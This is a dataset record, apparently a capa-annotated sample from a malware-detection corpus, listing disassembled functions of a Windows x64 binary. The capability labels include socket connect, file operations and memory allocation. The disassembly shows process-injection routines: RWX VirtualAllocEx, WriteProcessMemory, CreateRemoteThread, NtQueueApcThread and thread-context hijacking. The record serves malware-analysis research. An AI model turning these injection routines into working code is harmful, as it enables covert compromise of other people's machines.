joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140067380
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
xor r8d, r8d
mov edx, 1
mov ecx, 2
call sub.WS2_32.dll_socket
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x1400673ba
mov rax, 0xffffffffffffffff
jmp 0x140067451
mov rcx, qword [rsp + 0x60]
call sub.WS2_32.dll_gethostbyname
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400673da
mov rax, 0xffffffffffffffff
jmp 0x140067451
mov rax, qword [rsp + 0x28]
movsx rax, word [rax + 0x12]
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x28]
mov rdx, qword [rdx + 0x18]
lea r8, [rsp + 0x34]
mov rdi, r8
mov rsi, qword [rdx + rcx]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov eax, 2
mov word [rsp + 0x30], ax
movzx ecx, word [rsp + 0x68]
call sub.WS2_32.dll_htons
mov word [rsp + 0x32], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_connect
test eax, eax
je 0x14006744c
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_closesocket
mov rax, 0xffffffffffffffff
jmp 0x140067451
mov rax, qword [rsp + 0x20]
add rsp, 0x48
pop rdi
pop rsi
ret

Function at 0x140067760
Capabilities:
Copy file

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 0x4000
call fcn.14006fe58
mov qword [rsp + 0x20], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.14007009c
mov qword [rsp + 0x30], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.14007009c
mov qword [rsp + 0x28], rax
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.14006ffc8
mov r8d, 0x2000
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.140070174
mov r8d, 0x2000
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x38]
call fcn.140070174
xor r8d, r8d
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x14006780b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_listen
call fcn.140066318
mov rcx, qword [rsp + 0x20]
call fcn.14006ff80
add rsp, 0x58
ret
Function at 0x140067bc4
Capabilities:
Move file

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 0x4000
call fcn.14006fe58
mov qword [rsp + 0x20], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.14007009c
mov qword [rsp + 0x30], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.14007009c
mov qword [rsp + 0x28], rax
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.14006ffc8
mov r8d, 0x2000
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.140070174
mov r8d, 0x2000
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x38]
call fcn.140070174
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x140067c6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140066318
mov rcx, qword [rsp + 0x20]
call fcn.14006ff80
add rsp, 0x58
ret

Function at 0x140067c7c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 0x400
call fcn.140081440
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140067caa
jmp 0x140067d71
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.14006ffc8
mov r8d, 0x400
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.140070174
test eax, eax
jne 0x140067ce6
mov rcx, qword [rsp + 0x20]
call fcn.140081438
jmp 0x140067d71
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x20]
call fcn.140085b84
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140067d0a
cmp qword [rsp + 0x28], 0
jne 0x140067d28
mov rcx, qword [rsp + 0x20]
call fcn.140081438
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 8
call fcn.140066318
jmp 0x140067d71
lea rcx, [rsp + 0x38]
call fcn.14006fb48
cdqe
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x38]
call fcn.14006fee4
mov r9, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
mov r8, rcx
mov edx, 1
mov rcx, rax
call fcn.140086860
mov rcx, qword [rsp + 0x28]
call fcn.140085a48
mov rcx, qword [rsp + 0x20]
call fcn.140081438
add rsp, 0x58
ret

Function at 0x140067f24
Capabilities:
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
cmp eax, 0x10
jne 0x140067f4a
mov dword [rsp + 0x20], 1
jmp 0x140067f52
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140067fac
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
cmp qword [0x1400ca468], 0
jne 0x140067fea
mov ecx, 0x80004
call fcn.140081440
mov qword [0x1400ca468], rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
call sub.WS2_32.dll_htonl
mov dword [rsp + 0x24], eax
mov rax, qword [0x1400ca468]
mov ecx, dword [rsp + 0x24]
mov dword [rax], ecx
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x50]
cmp dword [rax + 4], ecx
jbe 0x14006801f
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
jmp 0x14006802b
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 4]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jbe 0x1400680b0
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x28]
mov rdx, qword [0x1400ca468]
lea rcx, [rdx + rcx + 4]
mov rdx, qword [rsp + 0x40]
mov r9, qword [rdx + 8]
mov r8d, eax
mov edx, 1
call fcn.140085e10
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jne 0x140068075
mov rax, qword [rsp + 0x40]
mov dword [rax + 4], 0
jmp 0x1400680b0
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x24]
mov eax, dword [rax + 4]
sub eax, ecx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 4], eax
jmp 0x14006802b
mov eax, dword [rsp + 0x28]
add eax, 4
mov r8d, 8
mov edx, eax
mov rcx, qword [0x1400ca468]
call qword [rsp + 0x48]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.140067f5c
add rsp, 0x38
ret
Function at 0x140068114
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov ecx, 0x8000
call fcn.140081440
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
lea r8, str._s
mov edx, 0x8000
mov rcx, qword [rsp + 0x20]
call fcn.1400664b0
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x20]
call fcn.140081438
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x14006817d
jmp 0x14006829b
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
and eax, 0x10
test eax, eax
je 0x140068260
mov rax, qword [rsp + 0x48]
add rax, 0x2c
lea rcx, [0x1400c912c]
sub rcx, rax
mov dl, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x1400681b4
inc rax
test dl, dl
jne 0x1400681a2
xor eax, eax
jmp 0x1400681b9
sbb eax, eax
or eax, 1
test eax, eax
je 0x14006825e
mov rax, qword [rsp + 0x48]
add rax, 0x2c
lea rcx, [0x1400c9130]
sub rcx, rax
mov dl, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x1400681e6
inc rax
test dl, dl
jne 0x1400681d4
xor eax, eax
jmp 0x1400681eb
sbb eax, eax
or eax, 1
test eax, eax
je 0x14006825e
mov ecx, 0x8000
call fcn.140081440
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x48]
add rax, 0x2c
mov r9, rax
lea r8, [0x1400c9134]
mov edx, 0x8000
mov rcx, qword [rsp + 0x20]
call fcn.1400664b0
mov rax, qword [rsp + 0x48]
add rax, 0x2c
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call fcn.1400682a0
mov r8d, 1
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
call fcn.140081438
jmp 0x140068278
mov rax, qword [rsp + 0x48]
add rax, 0x2c
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14006817d
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
add rsp, 0x38
ret
Function at 0x140068844
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x118
mov ecx, dword [rsp + 0x180]
call fcn.14007c800
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x80], WSAGetLastError
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x68], 0x18
mov dword [rsp + 0x78], 1
mov r9d, 0x100000
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rsp + 0xbc], 0x101
xor eax, eax
mov word [rsp + 0xc0], ax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], 0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x80]
mov edx, dword [rsp + 0x180]
mov ecx, dword [rsp + 0x178]
call fcn.14007b554
test eax, eax
jne 0x14006894d
mov ecx, dword [rsp + 0x180]
call fcn.14007c83c
jmp 0x140068a02
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x148]
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.140069458
cmp dword [rsp + 0x138], 0
jbe 0x1400689bd
mov edx, dword [rsp + 0x138]
mov rcx, qword [rsp + 0x48]
call fcn.14006aaa4
lea rax, [rsp + 0xf0]
lea rcx, [rsp + 0x50]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov r9, qword [rsp + 0x168]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0xf0]
call fcn.14006ab20
mov ecx, dword [rsp + 0x180]
call fcn.14007c83c
add rsp, 0x118
pop rdi
pop rsi
ret
Function at 0x140068eb8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
lea rax, [fcn.140068eb8]
lea rcx, [0x140068e38]
sub rax, rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x48], 0
mov eax, dword [rsp + 0x30]
add rax, 0x20
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x30]
add rax, 0x20
mov rcx, rax
call fcn.140081440
mov qword [rsp + 0x38], rax
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x80]
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
add rcx, 0x20
lea rdx, [0x140068e38]
mov rdi, rcx
mov rsi, rdx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140068faa
mov eax, dword [rsp + 0x34]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140068faa
mov eax, dword [rsp + 0x34]
cmp qword [rsp + 0x48], rax
je 0x140068faa
mov qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x38]
call fcn.140081438
mov rax, qword [rsp + 0x40]
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x140069684
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xa0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x1c
rep stosb byte [rdi], al
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x80], 0x1c
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], 0
lea rcx, [0x1400c919c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1400c9188]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14006975f
xor eax, eax
jmp 0x1400698f1
lea r8, [rsp + 0x58]
mov rax, qword [rsp + 0xb0]
mov edx, dword [rax + 0x10]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rax]
call fcn.140068eb8
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140069793
xor eax, eax
jmp 0x1400698f1
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400697b3
xor eax, eax
jmp 0x1400698f1
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x1400697d0
xor eax, eax
jmp 0x1400698f1
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax + 0x10]
cmp dword [rsp + 0x8c], eax
je 0x1400697e6
jmp 0x14006983b
mov r8d, dword [rsp + 0x88]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14006980a
jmp 0x14006983b
mov rax, qword [rsp + 0x38]
add rax, 0x20
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1400697d0
cmp qword [rsp + 0x30], 0
je 0x140069868
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400698aa
cmp qword [rsp + 0x50], 0x20
je 0x1400698ae
xor eax, eax
jmp 0x1400698f1
cmp dword [rsp + 0x70], 0
jne 0x1400698ec
mov dword [rsp + 0x70], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
jmp 0x1400698f1
mov eax, 1
add rsp, 0xa0
pop rdi
ret
Function at 0x1400698fc
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x38], 0
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140069946
xor eax, eax
jmp 0x14006999b
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 8]
call qword [rsp + 0x38]
test eax, eax
je 0x140069971
xor eax, eax
jmp 0x14006999b
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x14006998f
mov dword [rsp + 0x30], 1
jmp 0x140069997
mov dword [rsp + 0x30], 0
mov eax, dword [rsp + 0x30]
add rsp, 0x48
ret

Function at 0x1400699a0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1400699eb
mov dword [rsp + 0x30], 1
jmp 0x1400699f3
mov dword [rsp + 0x30], 0
mov eax, dword [rsp + 0x30]
add rsp, 0x48
ret

Function at 0x140069ad8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140069b2a
mov dword [rsp + 0x40], 1
jmp 0x140069b32
mov dword [rsp + 0x40], 0
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x140069b98
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x508
mov dword [rsp + 0x60], 0x100002
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x510]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140069bd1
xor eax, eax
jmp 0x140069c35
mov rax, qword [rsp + 0x518]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x510]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140069c0c
xor eax, eax
jmp 0x140069c35
mov rcx, qword [rsp + 0x510]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140069c29
mov dword [rsp + 0x20], 1
jmp 0x140069c31
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
add rsp, 0x508
ret
Function at 0x140069c40
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x308
cmp qword [rsp + 0x320], 0
je 0x140069c65
xor eax, eax
jmp 0x140069cda
mov dword [rsp + 0x30], 0x100002
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x310]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
jne 0x140069c88
xor eax, eax
jmp 0x140069cda
mov eax, dword [rsp + 0x318]
mov dword [rsp + 0xe0], eax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x310]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x140069cb1
xor eax, eax
jmp 0x140069cda
mov rcx, qword [rsp + 0x310]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140069cce
mov dword [rsp + 0x20], 1
jmp 0x140069cd6
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
add rsp, 0x308
ret

Function at 0x140069ce4
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x538
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x560]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x568]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140069d43
xor eax, eax
jmp 0x140069e5c
mov eax, dword [rsp + 0x570]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x540]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 6
je 0x140069d75
cmp dword [rsp + 0x50], 7
je 0x140069da4
jmp 0x140069ddf
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9, qword [rsp + 0x558]
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x48], rax
jmp 0x140069ddf
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov rax, qword [rsp + 0x558]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x548]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140069deb
xor eax, eax
jmp 0x140069e5c
mov dword [rsp + 0x90], 0x10000b
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140069e0e
xor eax, eax
jmp 0x140069e5c
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140069e36
xor eax, eax
jmp 0x140069e5c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140069e50
mov dword [rsp + 0x54], 1
jmp 0x140069e58
mov dword [rsp + 0x54], 0
mov eax, dword [rsp + 0x54]
add rsp, 0x538
ret
Function at 0x14006a2f8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x30], 0
mov ecx, 0x2d
call fcn.140077f38
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x78], eax
jle 0x14006a337
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x34], eax
mov ecx, 0x2b
call fcn.140077fc4
movzx eax, ax
mov ecx, dword [rsp + 0x34]
mov dword [rsp + 0x20], eax
mov r9d, 0x3000
mov r8d, ecx
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14006a38d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x34]
mov ecx, 0x1f
call fcn.14006633c
xor eax, eax
jmp 0x14006a4d5
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x30], eax
jge 0x14006a44a
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x78]
sub ecx, eax
mov eax, ecx
cdqe
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x30]
mov r8, qword [rsp + 0x48]
add r8, rdx
mov rdx, r8
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], r8
mov r9, rax
mov r8, rcx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14006a414
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_recv
call fcn.140066318
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x14006a4d5
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x38], 0
jne 0x14006a445
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x14006a4d5
jmp 0x14006a38d
mov ecx, 0x2b
call fcn.140077fc4
movzx eax, ax
mov dword [rsp + 0x3c], eax
mov ecx, 0x2c
call fcn.140077fc4
movzx eax, ax
mov ecx, dword [rsp + 0x3c]
cmp ecx, eax
jne 0x14006a472
jmp 0x14006a4d0
mov ecx, 0x2c
call fcn.140077fc4
movzx eax, ax
mov ecx, dword [rsp + 0x34]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, eax
mov r8d, ecx
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14006a4d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, send
call fcn.140066318
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x14006a4d5
mov rax, qword [rsp + 0x48]
add rsp, 0x58
ret